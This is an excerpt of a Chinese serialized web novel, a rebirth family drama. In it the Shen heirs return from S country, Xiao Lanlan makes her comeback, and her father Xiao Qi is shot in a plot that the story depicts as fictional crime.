从白密突然出现在沈园,沈清予就起了疑心。直到昨晚,他亲眼看见白密抱头喊沈归灵哥,才终于把之前白密的种种行为都串联了起来。 换作别人,别说被打到屈服叫哥,就算是叫爷爷沈清予也不会起疑。可这个人偏偏是白家王室长公主的嫡子,这就很可疑了。 众所周知,白家人既疯批又高傲,他们理所当然觉得自己身上流淌的血液都高人一等。因为白吉拉的泰迪行为,白家王室甚至把老亲王那一脉都称为杂种血脉。 这样一个古板又刻薄的王族,怎么可能随便称呼一个异国的私生子为哥哥? 更何况,只要和白密真正接触过就不难看出,那小子跟狼一样,当初在沈园差点被饿死也没认过怂,哪会真被沈归灵打两拳就叛变了。 不过,这仅仅只是沈清予的猜想,若要验证还需要其他佐证。 于是,他故意挑衅白密,就是想看看自己的猜想是否正确。 如果沈归灵真的跟白家有关系,白家为了掩饰沈归灵的身份一定会打断他的逼供。果不其然,最后连军队都出动了! 面对沈清予的咄咄逼人,沈归灵只是微微侧过脸,用看智障一样的眼神打量他:"内出血?颅内出血?怪不得,说话颠三倒四的。" "嗤!"沈清予险些被气笑了,故意恶心他:"说起来,还是你提醒了我,以身为棋这招的确好用。" 沈归灵终于停下了脚步,缓缓转过身。 他脸上依旧没什么表情,那双深邃的眼睛里满是雾气:"沈清予,凡是要讲证据。" "证据?"沈清予不知想到什么,眼睛闪过一抹幽暗:"我不需要,我又不是沈兰晞,像他那样猴年马月才能抓住你的尾巴。而我,马上就可以~" 说着,他眼眸往后移:"那家伙从我跟过来就一直盯着我,你说我要是现在暗杀你,他会有什么反应?" 沈归灵眼睑微挑,还没反应过来,沈清予忽然发作,从身后勒住他的脖子直接锁喉。 军团将领只效忠王室,正常逻辑,他们只会袖手旁观。如果出面维护,某种程度上就算坐实了沈清予的猜想。 沈归灵侧身,正要还手,余光瞥到了巴顿已经冲上了舷梯,他当机立断,果断改变主意。 ——原本准备格挡的手臂骤然卸力,身体顺着沈清予勒紧的力道,以一种极其"狼狈"却又微妙地避开了要害的方式,向前猛地一个趔趄,整个人结结实实地"摔"倒在地。 "呵?"沈清予揉了揉手腕,"装!装给谁看!" 话音刚落,耳边忽然传来一声怒吼:"沈清予,你干什么?你怎么突然打人!太过分了!" 没等他反应过来,一道身影窜到跟前猛地推了他一把。 "我......" 沈归灵正要解释,姜花衫根本不听,头也不回地奔向地上那个戏精。 "沈归灵,你没事吧?" 沈归灵捂着胸口,轻咳了一声,顺势倒进她的怀里:"不太好,头有点晕。" 巴顿脚步一顿,站在五步之外沉默片刻,终是一言未发,转身下了飞机。 "不是!"沈清予眼下也不在意什么巴顿了,他快要被姜花衫气死了。 没眼力见的死丫头,难道看不出这傻逼是装的吗? 但即便如此,他还是忍了这口气,上前踢了踢沈归灵的脚:"起来,沈归灵你还是不是男人?躲在女人怀里算什么本事?" 沈归灵充耳不闻,侧身靠得更紧。 "你……" "你什么你?!你够了啊,沈清予!你要再这么欺负沈归灵我就告诉爷爷了。"姜花衫搀扶着沈归灵起身,"走,我们去那边,别搭理他。" "嘿?"沈清予捂着额头,嗫嚅了半天,硬是没骂出一句话。 他实在是想不明白,姜花衫平时看着那么机灵,怎么会被沈归灵这么拙劣的演技骗过去了。 沈兰晞看着姜花衫搀扶着沈归灵从面前走过,眼里的光瞬间沉到了冰点。 他转头,面无表情地看向在原地转圈的沈清予,冷声道:"坐好,没脑子就少惹事。" "......" 沈清予看着前排相互依偎的两个后脑勺,气得后牙槽都快咬断了。 沈归灵这个狗东西,怎么这么不要脸的?! 另一边,看似嘘寒问暖的姜花衫眼神警惕,轻轻拉了拉沈归灵的衣角,声音极轻:"沈清予怎么忽然盯上你了?" 她刚刚一直坐在角落观察两人,直到看见沈归灵故意摔倒,她立马get到了沈归灵的求救信号,这才挺身而出。 沈归灵歪着头,靠着她耳侧小声道:"他怀疑我的身份了。" 姜花衫微愣,眼里满是诧异,低头看了沈归灵一眼,脸靠近的同时立马转移了目光:"他知道你是亲王的遗脉了?他怎么知道的?" 沈归灵:"应该没有这么具体,不过大差不差了。沈清予和沈兰晞不同,沈兰晞要证据,沈清予只要感觉。" "感觉?"姜花衫眸光微闪,忽然想到什么,正要回头又忍住了冲动:"他刚刚是故意挑衅你的,他在测试巴顿的反应?" 虽然巴顿掩饰得很好,但对于已知内情的姜花衫来说,那位老将军依旧破绽百出。尤其他看沈归灵的眼神,那是即便掩饰了也无法克制的悸动。 这种感觉,沈归灵应该都清楚。 所以他才向她求助。 姜花衫思忖片刻,轻轻拍了拍沈归灵的肩膀:"不怕,这件事最关键的是爷爷的态度,我们先想办法让爷爷接受。" 沈归灵点头,心安理得地靠着她的肩膀:"好。" * 飞机引擎发出巨大的轰鸣,缓缓滑入跑道,加速,最终昂首冲入云霄。银色的机身渐渐化作蔚蓝天幕中的一个光点。 停机坪上,肃立的白象军团士兵依旧保持着整齐的队列,如同沉默的钢铁森林。而站在队伍最前方的巴顿将军,身姿依旧挺拔如松,仿佛没有任何事物能撼动他分毫。 直到光点彻底消失在视野尽头,他依旧目视着飞机消失的方向,仿佛还能透过云层追随更远。 晨风吹拂着他花白的鬓角,也吹动了他胸前那枚象征着忠诚与哀恸的断裂王冠徽章。 巴顿缓缓地,极其庄重地抬起了右臂,手指并拢,指尖微触太阳穴,行了一个无比标准的军礼...... …… 第833章 归园大戏 历经长途飞行,车队最终驶入了A国境内,沿着蜿蜒的山路盘旋而上,终于踏上了归园的路。 沈园门外,大门洞开,门前的青石台阶被打扫得一尘不染。沈谦、沈渊、沈娇三人各自为营占据一方,全程没有任何交流。 待听见不远处传来汽车引擎的声响,三人不约而同地向前坪走去。 车队停稳,沈兰晞率先下车,神色依旧是惯常的沉稳。 沈清予跟在他身后,脸上带着一丝若有若无的戾气。 姜花衫和沈归灵最后下车,沈归灵似乎依旧有些“虚弱”,半边身子不着痕迹地倚靠着车门。 沈清予看见他这副‘弱不禁风’的模样就来气,一个眼睛都不眨敢翻窗跳楼的人,在这装什么小白兔?也就是姜花衫那没脑子的死丫头会信。 “阿灵!”沈谦急忙上前,虚扶着沈归灵的胳膊上下打量,“气血怎么这么差?你这次受累了,放心,爷爷和爸爸都看在眼里。” 沈归灵轻声应道:“我没事,让您担心了。” “……”沈清予看着眼前父慈子孝的一幕简直要被气笑了。他先是翻了个白眼,实在没忍住,双手抱胸冷嘲热讽道:“大伯父过虑了,他一晚上翻窗堵门找茬演戏的,气色能好才怪?” 沈谦微微皱眉,神色淡了几分。 原本因姜花衫离家出走,她被老爷子破格允许去S国寻人。不想刚收拾妥当准备启程,S国就封锁了所有入境通道。后来他几经辗转才查探到,原来是沈清予在S国犯下大错,女王下令将所有沈家人遣返。 如今他与沈渊已然撕破脸,自然连带着看沈清予也不顺眼了。 沈归灵察觉到沈谦细微的情绪变化,风轻云淡地笑了笑:“想着马上就能回家见到您和爷爷了,昨晚高兴得一晚没睡,所以气色才差了些。” 这句话大半都是废话,最关键的是“一晚没睡”。 沈清予和沈兰晞的脸色顿时阴沉。 沈归灵抬眸,目光状似无意地扫过两人,继续补刀:“不单单是我,兰晞哥和清予也受累了,昨晚都没休息好。” “……”两人同时沉默。 沈娇皱眉在三人间逡巡了一圈,悄悄把姜花衫拉到一旁问话:“他们三个怎么回事?怎么一股火药味?” “不知道啊?”姜花衫一脸困惑地摇了摇头,忽然想到什么,眸光微动,一把抱住沈娇的胳膊撒娇:“您看,我就是福星,我一去女王就把人打包送回来了~” 沈娇哪能不知道姜花衫的小算盘。原本打算等人回来好好训一顿,可真到了这一步又有些下不去嘴。 毕竟姜花衫和傅绥尔不同,认错态度良好,嘴巴又甜,不像傅绥尔死鸭子嘴硬,证据摆在眼前了还打死不承认。 沈娇瞥了一眼风暴中心,缓和了神情:“行了,先跟我去见老爷子吧。” 姜花衫回头望着那边堪比冷锋过境的气压,默默点了点头。 沈渊见沈娇带着姜花衫进了大门,上前拍了拍沈清予的肩膀:“大哥,孩子们刚回来都累了,先让他们进屋吧?老爷子还等着见人呢。” 沈谦眼皮都没抬,只当没听见沈渊说话,转头看向一旁的沈兰晞:“兰晞,辛苦了。” 说着,轻轻拍了拍沈归灵的手背,示意他跟上自己。 沈渊嘴角的笑意渐渐凝固,但很快又缓和过去,摆出一副祭拜活祖宗的表情看向身旁的逆子:“你出息了!刺杀王室!还不赶紧回去换身衣裳?想让你爷爷看见你这副狼狈样子吗?” 沈清予皱眉冷嗤一声,不顾沈渊说教,转身径直进了主院。 一来一回间,原本熙攘的前坪就只剩下前院的管事。 老管事恭敬上前:“兰晞少爷,请进。” 沈兰晞早已习惯了这份冷清,淡淡颔首,踏着滟潋的碎光迈过门槛。 高止看着他茕茕孑立的身影,犹豫片刻,大步上前与沈兰晞并肩。 他习惯了只站在少爷身后,但午间的光影斜照,少爷可能看不见他,所以他选择了逾矩。 沈兰晞脚步微顿,又若无其事地继续向前。 * 自姜花衫去了S国后,沈庄便回了沈园休养。 沈娇领着姜花衫刚跨入沁园,傅绥尔便飞跑着扑了上来:“可算回来了!” “轻点,腰要断了。” 沈娇知道两个小姐妹有话要聊,轻轻拍了拍傅绥尔的臀尖:“长话短说,你爷爷还在里面等着。” 傅绥尔有些不满沈娇打臀的举动,但又不敢反抗,摆摆手说了句“知道了”,便拉着姜花衫快步闪到抄手游廊的转角处。这里相对僻静,只有阳光透过雕花窗棂在地上投下斑驳的光影。 “怎么了?”姜花衫被她这架势弄得有些莫名,“又有什么大事?” 话音刚落,花厅里忽然传来一阵说笑声。 姜花衫微愣。虽然笑声混杂着几种不同的声音,但她还是一耳就听出了老爷子的声音。 “还有其他人?”她的目光循声望向花厅方向。能让爷爷这么高兴,她倒有些好奇了。 傅绥尔点头,抬手指向花厅:“是萧澜兰,她回来了。你前脚刚去S国,二伯就迫不及待把人接回来了。她……” 姜花衫神色微动,歪着头挑了挑眉:“她怎么了?” 傅绥尔想了想:“她好像变了,变得跟以前不一样了,你待会进去的时候小心点?” “变了?变了才对,还跟以前一样她能回来吗?”姜花衫不以为意,轻轻拍了拍傅绥尔的肩膀,“走吧,去看看怎么个事儿?” * 花厅内茶香袅袅。 沈庄端坐在主位的紫檀木太师椅上,精神看起来比前些时日好了不少,脸上带着难得的舒缓笑意。 他身侧,坐着一位身着月白色旗袍的年轻女子,正是萧澜兰。她身姿优雅,妆容精致,正微微倾身与老爷子说着什么,语调和婉,引得老爷子不时点头。 下首两侧,沈娇、沈娥、沈让、沈眠枝等人依次坐着,看似在品茶闲谈,实则都带着几分陪客的意味。气氛融洽却隐约透着一种以萧澜兰和老爷子为中心的微妙感。 姜花衫与傅绥尔一同踏入花厅,看到的就是眼前这一幕。 傅绥尔默默使了个眼色:看见没,比以前还会哄人了。 姜花衫笑了笑,毫无预兆地忽然出声:“爷爷~我回来了~” …… 第834章 恶女重开 姜花衫这一声,如同一颗石子投入湖面,激起了层层涟漪。 几乎是在同一时间,厅内所有人的目光都落在了她的身上。 沈娥第一个反应过来,连忙笑着站起身,“衫衫回来了?几年不见,漂亮得都快认不出来了。” 姜花衫怎么都没想到,第一个向她‘示好’的竟是当初处处看不上她的沈娥。 沈娥的变化很大。从前她事事顺意,保养得珠圆玉润,一看便是富贵圈娇养出来的人物。不过几年光景,那份富态与骄纵已消磨殆尽,眉宇间尽显疲态。 姜花衫含笑点了点头,维持着基本礼貌,“大姑。” “哎,好。”沈娥忙应声,回头看向萧澜兰,主动道,“听说你们今天回来,我和澜兰特意过来看看大家。澜兰?” 萧澜兰在姜花衫出声时便已站了起来,主动侧身让出一个身位。沈娥向她示意时,她也没有像从前那般不买账,而是大大方方笑着打招呼。 “衫衫,好久不见。”态度虽不似沈娥那般殷勤,却也挑不出错处。 在座众人皆知当年隐情,神色各异,等着姜花衫的反应。 姜花衫看着眼前的萧澜兰,心中莫名生出几分感慨。 上一世,自萧澜兰狼狈退场后,她再未见过对方,最后一次听到她的消息,是周宴珩死后,她用一根绳子吊死在了修道院。 但这一世,她格外不同,明艳归来,像朵带刺的玫瑰。 姜花衫毫无芥蒂地点了点头,“早听说你要回来了,澜兰姐,欢迎回家。” 沈娥微愣,仿佛没想到姜花衫会如此体面。见萧澜兰恍神未曾接话,她赶紧帮着补救,“衫衫有心了。对了!这次回来,澜兰惦记着你们,给几个小姐妹都准备了礼物。以前的事……” 姜花衫笑了笑,一副识大体的模样,“大姑,您都说了那是以前的事了,一家人哪有隔夜仇,以后就不提了。” 沈娥错愕。来之前沈渊曾反复提醒她姜花衫如今有多难缠,她也做好了被刁难的心理准备,不想对方竟如此识大体?沈娥神情复杂地看了沈娇一眼,跟着笑了笑,“是,衫衫你说得对。” 姜花衫清咳一声,看向沈庄的眼神略有些闪躲,“爷爷?我回来了~” 沈庄板着脸,“听见了。” 她方才动静那么大,若是平时,老爷子早就笑吟吟招呼她了。此刻这般不搭理,看来还记着她不辞而别的事。 姜花衫自知理亏,讨好着上前求表扬,“爷爷,我把他们三个都带回来了,我厉害吧?” 沈庄撩起眼皮,打量了她一眼,“厉害,越来越有主意了。” 怎么爷爷也学会阴阳怪气了? 姜花衫暗叫不好,连忙收敛笑容,作出一副泫然欲泣的模样,“哦~我知道了,现在有人逗爷爷开心,我就不受待见了呗。” 沈庄皱眉,抬起一只眼瞪了她一下,“瞎说什么?什么时候不待见你了?” 姜花衫见缝插针,“那我的小圆凳呢?怎么没见摆出来。” 这些年,随着姜花衫越来越受宠,地位也水涨船高。旁人都是坐在沈庄左右手,唯独她得了一张圆凳,偌大的花厅想坐哪儿坐哪儿。 “你不在,叫人收起来了。”沈庄说着,回头看了郑松一眼,“赶紧给她搬出来,省得她张口就胡说。” 萧澜兰看着姜花衫与沈庄旁若无人的互动,眼底的光芒淡了几分。她迟疑片刻,默默退回了沈娥身边。 三年前,她才是爷爷最喜欢的孙女,但如今已物是人非。 沈娥看出了萧澜兰的情绪,连忙轻轻拽了拽她的衣角。 从这一刻起,所有人的视觉焦点立刻从萧澜兰转向了姜花衫。 姜花衫真假参半、绘声绘色地讲述了前往S国的全部经历。讲到沈清予在飞机上锁喉沈归灵时,另一支大部队正好进厅。 沈清予换了一身清爽衣裳,刚平静下来,又被这小没良心的气着了。 她就跟沈归灵这么要好?竟在老爷子面前告黑状。 沈谦原本就看沈渊不顺眼,听说沈清予竟在飞机上对沈归灵动手,一时没忍住,阴阳怪气道:“小孩子懂什么?指不定是听了谁的挑拨。” 沈渊皮笑肉不笑,“大哥这是在点我呢?那你不妨问问清予到底为什么动手。” 沈家谁不知道沈清予处处跟沈渊作对?沈渊只觉得沈谦是老糊涂了,遇上什么屎盆子都想往他脑袋上扣。 沈庄最不愿见手足相争,冷着脸看向沈清予,“怎么回事?” 沈清予一身反骨,冷冷睨了姜花衫一眼,顺手指了指沈渊,“是我爸。他最近看大伯不舒服,让我没事给阿灵哥找点不痛快。我为了给我爸一个交代,跟阿灵哥闹着玩的。是吧,阿灵哥?” “……”沈渊气得差点当场晕厥,举起手就要大义灭亲。 沈归灵抬眸,风轻云淡,“不好玩,我现在头还是晕的。” 沈谦反应极快,反手指着沈渊的鼻子,“我就说你居心叵测,狼心狗肺!” 就在这时,沈兰晞事不关己、遗世独立般从众人眼前越过。 “爷爷。”他淡淡打完招呼,便找了个位置坐下看戏。 沈庄捏了捏眉心,叩了叩案台,“行了!都给我闭嘴。不能好好说话的,都给我滚出去。” 沈谦和沈渊强忍怒意,各自退了回去。 沈庄的目光在沈归灵和沈清予之间逡巡一圈,抬手点着沈清予,“你,去祠堂给我跪着。什么时候把你这一身犟骨跪平了,什么时候再起来。” 沈清予刺杀S国王室,即便白家没有追究,沈家也不能没有交代。 罚跪祠堂,这处罚已轻得不能再轻。沈清予也没什么好挑衅的,对着沈庄深鞠一躬,起身时深深看了姜花衫一眼,才转身出了花厅。 姜花衫:“……” …… 第835章 一念之间 发落完沈清予,厅内的气氛依旧有些剑拔弩张。 沈庄目光扫过众人,将所有人的表情尽收眼底,终是缓了神色,大手一挥: “行了,难得人齐,都留下来用午饭吧。郑松,去吩咐厨房,按往日家宴的规格准备。” 老爷子发话,无人敢驳。众人纷纷应声称是,方才那点不愉快仿佛瞬间被揭过,至少表面上是如此。 午餐设在沈园最大的宴客厅。 长长的梨花木餐桌,座次分明。沈庄自然居主位,沈谦、沈渊等子辈依序而坐,孙辈则按长幼排列。 姜花衫的小圆凳被特意安置在沈庄右手边稍靠后的位置,既不违礼制,又显亲近,与坐在沈庄左侧下首的萧澜兰隐隐形成某种对照。 席间,表面看来倒是觥筹交错,言笑晏晏。 沈娥时不时笑着和姜花衫几个小辈交谈,极其热络。萧澜兰看在眼里,并未参与,只是偶尔与沈庄对答几句,引得老爷子微微颔首。 沈兰晞依旧沉默,安静用餐,仿佛周遭一切与他无关。 沈归灵则显得颇为“安分”,话不多,只是偶尔在姜花衫与他低语时,唇角才会牵起一丝极淡的笑意。 沈谦早就注意到,这次回来姜花衫对沈归灵的态度似乎比另外两个热情许多,刚刚竟然还在老爷子面前替沈归灵说话,简直是太阳从西边出来了。 联想到之前沈归灵说会破坏大房和三房联盟,沈谦似乎明白了什么。只要一看见两人互动,他的嘴角就会莫名上翘,活像网上的CP粉照进现实。 姜花衫很认真在扮演着她的角色,时而娇憨地跟沈庄说笑,时而与身旁的傅绥尔交换个心照不宣的眼神,仿佛全然沉浸在家庭团聚的温馨之中。 宴席上,最没有存在感的就要数沈眠枝了。她几乎没有开口说话,即便傅绥尔几次主动将话题引到她身上,她也只是简单回应,轻易结束话题。 一顿家宴,众人吃得各怀心思。 宴席散去,沈庄单独留下沈兰晞说话,其余人对此已经见怪不怪,几番寒暄后便各自离席。 “衫衫!绥尔!枝枝!” 沈娥急忙追上准备离开的三人,从手包里取出三份烫着金边的邀请函,分别递到三人手中。 “我特意为澜兰准备了一场小型的归家宴,就在后天晚上,地点定在萧家的望湖别墅。都是自家人,到时候你们早点过来,几个姐妹聚一聚,说说话?” 沈眠枝接过邀请函,微微颔首,算是回应,转身跟着沈让出了沁园。 傅绥尔捏着邀请函,翻看了一下,没有立刻表态,而是看向姜花衫。 沈娥瞬间明白了什么,笑吟吟地看向姜花衫,“衫衫,你后天晚上有安排了吗?要是没有,我派司机来接你们?” 不怪沈娥的姿态放得这么低。萧澜兰当初离开鲸港时,声名狼藉如同弃子,如今她回来了,如果不能重振旗鼓,只怕难以融入鲸港的上层圈子。 但不管多上流的圈子,始终越不过沈家。当初老爷子一句话断了沈萧两家的往来;后来鲸港圈层排挤姜花衫,老爷子直接为她破圈,以一族之力排挤全鲸港。 这样的人出现在萧澜兰的归家宴,足以向所有宾客释放一个信号: 如果有人敢排挤萧澜兰,沈家不介意再次破圈。 姜花衫看着手里的请帖,不知在想什么。片刻后,她缓缓抬眸,嘴角挂着恰到好处的微笑,“大姑太客气了。既然是澜兰姐的归家宴,我们当然要去沾沾喜气。” 沈娥见她答应得如此爽快,眼底闪过一丝不易察觉的放松,笑容更真切了几分:“那就说定了!到时候可一定要来。” “一定。”姜花衫笑着应承。目光与萧澜兰短暂相交,两人神情不显,各自避开。 沈娥掩不住地高兴,又同沈娇寒暄了两句,便转身拉着萧澜兰一同离去。 看着两人走远的背影,傅绥尔立刻凑到姜花衫身边,晃了晃手里的邀请函,压低声音:“你真要去?你就不怕是鸿门宴?” 姜花衫想了想,转头看向沈娇,“母亲,您觉得呢?” 沈娇正盯着沈娥的背影出神,冷不丁听见姜花衫唤她,目光微怔。 她沉默片刻,一把抽过傅绥尔手里的邀请函,展开细读了一遍,又塞回傅绥尔手里。 “去吧。反正在家待着也无聊。” “诶?” 傅绥尔一脸震惊。沈娇却不欲多言,摆摆手,“行了,你们几个小姐妹自己商议吧,我先回去了。”说着,转身绕进了廊庑。 “女王这是怎么了?我记得她以前最讨厌大姑姑的。” 姜花衫笑了笑,“大概就是‘我能讨厌,但别人不能欺辱’的傲娇。” 谁能想到,沈家二代里,除了沈玺,沈娇才是最适合家主之位的人。 她不仅有传承意识的大格局,甚至在立场敌对的情况下,还能共情沈娥身为母亲的托举。 地点是萧家祖宅,邀请函是沈娥亲笔书写。沈娥为了替萧澜兰搏出一条生路,可谓是煞费苦心。作为敌对,她或许会在宴会上动手脚;但作为母亲,她一定不会。 因为没有人比她更希望这场宴会完美谢幕。 沈娇在一念之间,选择了善。 …… 第836章 母亲,准备宴会和葬礼吧~ 离开沈园,坐进车内,沈娥脸上那份强撑的热络才缓缓褪去,取而代之的是一种混合着疲惫与期冀的复杂神色。 她转头看向身旁的萧澜兰,轻轻叹了口气,“澜兰,妈妈知道你委屈。你要是不喜欢我这么逢迎她们,以后也不必跟着我来沈园,但有一点……” 沈娥抬头,轻轻摸了摸萧澜兰的头,“后天的宴会,你千万要隐忍,别叫人看出什么?” 萧澜兰面无表情地看着窗外的景色,侧脸在流动的光影中显得有些朦胧。 片刻后,她红唇轻启,声音冷沉,“知道了。” 就在这时,沈娥的手机响了起来,屏幕上闪烁的名字是“萧启”。 沈娥眉头几不可察地一蹙,按下接听键。 不等她开口,电话那头立刻传来萧启略带不满和质问的声音,即便没有开免提,在安静的车厢内也依稀可闻: “沈娥!我听说你给澜兰办什么归家宴?还定在望湖别墅?” 沈娥下意识看了萧澜兰一眼,捂着手机侧身换了个方向,“这件事我回去再跟你谈。” “还谈什么?”萧启被沈娥不以为然的语气激怒,大声斥责,“沈娥,这么大的事,你不和我商量一声就决定了,根本就是没把我放在眼里?你女儿做了什么事你难道不清楚吗?能回来就该夹着尾巴做人!你倒好,张罗打鼓的,非得让全鲸港看我们萧家的笑话吗?我告诉你,萧家丢不起这个人,我萧启也丢不起这个人!” 沈娥听着萧启连珠炮似的指责,脸色渐渐沉了下来。 这三年夫妻疏离,她对萧启早已死心。只是碍于萧澜兰,她不想把话说的难听,便也只是冷声道,“邀请函已经发出去了,就这样吧。” “好!”沈娥的态度彻底激怒了萧启,电话那边的声音气急败坏,“别怪我没提醒你,望湖庄园是我萧家的老宅,你执意给澜兰办回归宴我拦不了,但望湖庄园的门你别想进。” “萧启!”沈娥原本看在女儿的份上才对他一忍再忍,没想到萧启竟连这种丧良心的话都说得出来,不免也动了气,“我……” 不等沈娥说完,萧澜兰忽然坐起身,从她手里抢过手机,鲜艳欲滴的红唇凑近话筒,缓缓说道,“不同意,那就去死吧。” 萧启盛怒之下忽然怔愣,待他反应过来后怒火更盛,“萧澜兰,你敢这么跟我说话。” 萧澜兰笑了笑,嘴角扯出一抹优雅的翘弧,“你死了,萧家就由我来继承,到时候别说我在望湖举办宴会,就算在你坟头蹦迪你也管不着。” “萧……” “砰——” 忽然,电话那边惊起了一声类似枪击的声响,萧启的怒意戛然而止。 沈娥人都吓傻了,一把抢过手机,确认被挂断后满脸错愕地看向萧澜兰,“澜兰,你刚刚听见没,好像是……” “枪声。”萧澜兰缓缓松了一口气,朝着沈娥温柔轻笑,“母亲,萧启死了。” * 沁园,花厅。 茶过三盏,沈庄缓缓闭眼,重重垂叹了一声。 “这么说来,阿年果真是投靠了李儒?” 沈兰晞点头,“沈年不信我,醒来知道自己被囚禁在精神疗养院便现了原形,如今他已经回来了。” 沈庄看着茶盅里不断泛起涟漪的茶汤,语调萧瑟,“他这是对我有怨。” 沈兰晞神色平静,“他原本就有病,爷爷您只是让他去了该去的地方,想不通是他自己的问题。” 沈庄抬眸看了沈兰晞一眼,摇了摇头,“不单单是这样。” 沈兰晞微微蹙眉,显然是不理解沈庄的话外之意。但沈庄不欲多言,摆摆手转过话题,“阿年的事先暂且不管,你和阿灵、清予又是怎么回事?” 在花厅的时候,老爷子不是没有看出他们三人的针锋相对,不过碍于人多才睁一只眼闭一只眼。 沈兰晞微敛眸光。老爷子重情,对沈归灵青睐有加,若是他无凭无据重伤沈归灵,只怕让老爷子不喜;二则是姜花衫的态度。 她既然能预知未来,定然是知道沈归灵的来历的,不然在飞机上也不会出面维护。姜花衫把沈家看得比自己的命还重,她愿意维护沈归灵,说明沈归灵对沈家无害。 斟酌片刻,沈兰晞决定还是先隐瞒对沈归灵的怀疑,垂头端盏轻抿了一口,才缓缓道:“一点小事,我们能处理好,爷爷放心。” 沈庄眯眼,盯着沈兰晞的脸色打量了片刻,点了点头,“好,爷爷相信你们。” 这边正说着,郑松忽然走了进来。他那张惯常没什么表情的脸上透着几分寡淡的沉重,看着十分骇人。 “老爷子。” 郑松将手里的电报递给沈庄。 沈庄接过电报,目光扫过一眼后,眸底闪过一丝错愕。 “爷爷,发生什么事了?”老爷子鲜少有这么失态的时候,这让沈兰晞意识到事情不小。 沈庄轻叹了一声,将手里的电报递给沈兰晞,“鲸港这是要变天了。” * 正值多事之秋的鲸港,午间再添一则爆炸新闻。 ——鲸港知名企业家萧启于望湖别墅遭遇入室抢劫,身中枪伤,情况危重,目前已紧急送往鲸港中心医院抢救。 新闻配图是望湖别墅外拉起的警戒线和匆忙闪烁的救护车灯,模糊但足够触目惊心。 “宴会吗?办!当然办!我们家老萧出门的时候还叮嘱我不能委屈了澜兰,没想到……这场宴会也是老萧最大的执念,我不能辜负他……” 沈娥麻木地挂断第十五通询问电话,神情疲惫地看着眼前的萧澜兰,“你……” 萧澜兰捻着兰花指,神情淡漠地搅动着杯子里的咖啡,“母亲要问什么?” 沈娥看着眼前的少女,忽然有种无力的感觉,“澜兰,你到底要做什么?你忘记你答应过我什么?你说你会好好改过,你……” 萧澜兰抬起头,那张颠倒众生的脸张扬着十足的恶。她没有掩饰,坦荡道,“我当然有好好改过,所以,我再也不会为难自己,只会为难别人。” 话音刚落…… 叮咚—— 萧澜兰的手机忽然亮了起来。她垂眸看了一眼,指尖轻点,删除信息后慢慢起身。 沈娥被她眼里的笑意吓得毛骨悚然。但萧澜兰是她从小捧在手心的珍宝,她不想放弃,即便害怕也还是没忍住关心,“你要去哪?澜兰,你现在不能做错事……” 萧澜兰脚步微顿,目光在沈娥脸上停留了片刻,轻声道,“母亲。准备宴会和葬礼吧~” * 夜幕低垂,鲸港码头的私人泊位停靠着一艘灯火通明的巨型邮轮“海神号”。 顶层最奢华的宴会厅内正在举行一场顶级富豪圈的私人派对,靡靡之音与海浪声交织,空气中弥漫着昂贵的香槟、雪茄与香水混合的味道。 周宴珩一身休闲西装,领口微敞,正与几位背景深厚的纨绔子弟推杯换盏,谈笑风生。 他脸上带着漫不经心的笑意,看似没有架子,实则根本没把旁人放在眼里。 就在这时,宴会厅那扇厚重的雕花木门被侍者无声地推开。 一道修长挺拔的身影逆着门外走廊的光线走了进来。来人穿着剪裁合体的深色西装,面容苍白,带着几分癫狂的病态。 周宴珩立马停止了和身边女郎的调笑,转头打量男人,“刚杀了人不知道躲远点?晦气。” …… 第837章 几何莲花 沈年对周宴珩的刻薄视而不见,他步履未停,径直走到周宴珩对面的丝绒沙发旁,安然落座,仿佛他才是这场宴会的主人。 周宴珩盯着他这副反客为主的做派,脸上那点漫不经心的笑意渐渐淡了不少。 围簇在他身边的狐朋狗友见状,立刻站起身,目光不善地向沈年逼近。 周宴珩挥了挥手,“都出去。” 声音不大,却带着不容置疑的命令。不过片刻,原本觥筹交错的宴会厅便彻底安静下来。 周宴珩身体前倾,手肘撑在膝盖上,指尖把玩着一个金属打火机,开合间发出清脆的“咔哒”声。 他盯着沈年,眼神戏谑:“沈年,萧启怎么惹到你了?” 沈年抬起眼,那双沉寂的眸子如一片死水般冰冷,“交易罢了。” 说着,他淡定自若地为自己倒了杯红酒,对着周宴珩做了个举杯的动作,“就像你我一样。” 周宴珩并未理会,双手抱胸打量着他,“你我之间的交易已经完成了,你这个时候不应该出现在这里。” 沈年被李儒送回A国后,被护送他的人限定了人身自由。但他很聪明,早就知道李儒不可靠,所以在归国那夜,他除了求助李儒之外,还给周宴珩抛去了橄榄枝。 作为利维坦之陨的管理员,他不仅知道所有成员的信息,还有他们不为人知的把柄。 当初,周宴珩就是因为地下钱庄的事被沈年抓住了把柄才不得不低头,不过后来因为鲸鱼岛绑架案,这个把柄已经被家族洗白。 沈年深谙周宴珩的手段和恶性,成员里其他人有手段的未必有他大胆,比他大胆的又没他有权,所以他以其他成员的把柄为条件,送去了投名状。 果不其然,周宴珩立刻接下了他的橄榄枝,当夜派了一队暗杀小组将李儒的眼线全都解决了。作为酬劳,沈年也上交了利维坦之陨的所有信息。 沈年放下酒杯,身体微微前倾,那双死水般的眼睛直勾勾地盯着周宴珩,“我来跟你谈第二个交易。” 周宴珩思忖片刻,挑了挑眉,“说说看。” 沈年,“我要沈归灵的命。” 周宴珩被逗笑了,不觉轻笑出声,“沈年,在A国,神经病杀人虽然不会被判死刑,但无罪辩护不太可能。你要不再考虑一下?” 沈年的眸底闪过一簇幽火,他几乎控制不住暴虐地歪了歪脖子,“作为你出手的回报,我可以把姜花衫送给你?” “知道的还挺多?”周宴珩嘴角的笑意渐渐凝固,片刻后,他俯身端起桌上的红酒杯,“说说看?你打算怎么送?” 沈年暗暗收敛神思,盯着周宴珩打量了许久,却还是没能看出他眼神里的喜怒。 迟疑片刻,沈年直言道:“姜花衫和沈归灵的关系你应该知道吧?” 周宴珩点头,示意他继续。 沈年又道:“沈归灵这个人走一步算百步,他有多难杀你应该深有体会。不过,再厉害的人也有弱点,姜花衫就是他的弱点。” 周宴珩不想听这些废话,放下酒杯又靠回了沙发,“说重点。” 沈年沉默半晌,从外套内衬抽出一张请柬,“后天,萧澜兰归家宴,把她送上你的床如何?” 周宴珩盯着沈年手里的请柬,完全没有要接手的意思,“萧澜兰?” 说出这三个字的时候,他眸底毫不遮掩地流露出厌恶的神情。 沈年见状,似乎想到什么,略带嘲讽地笑了笑,“当初要不是姜花衫抢走了老爷子的喜爱,萧澜兰也不会被赶出A国,她对此一直记恨在心。放心,比起报复你,她现在更想夺回她的一切。姜花衫作为老爷子的心头宠,是她必须拔除的眼中钉。” 周宴珩,“所以呢?” 沈年,“所以,她非常乐意送姜花衫一场身败名裂的噩梦。” 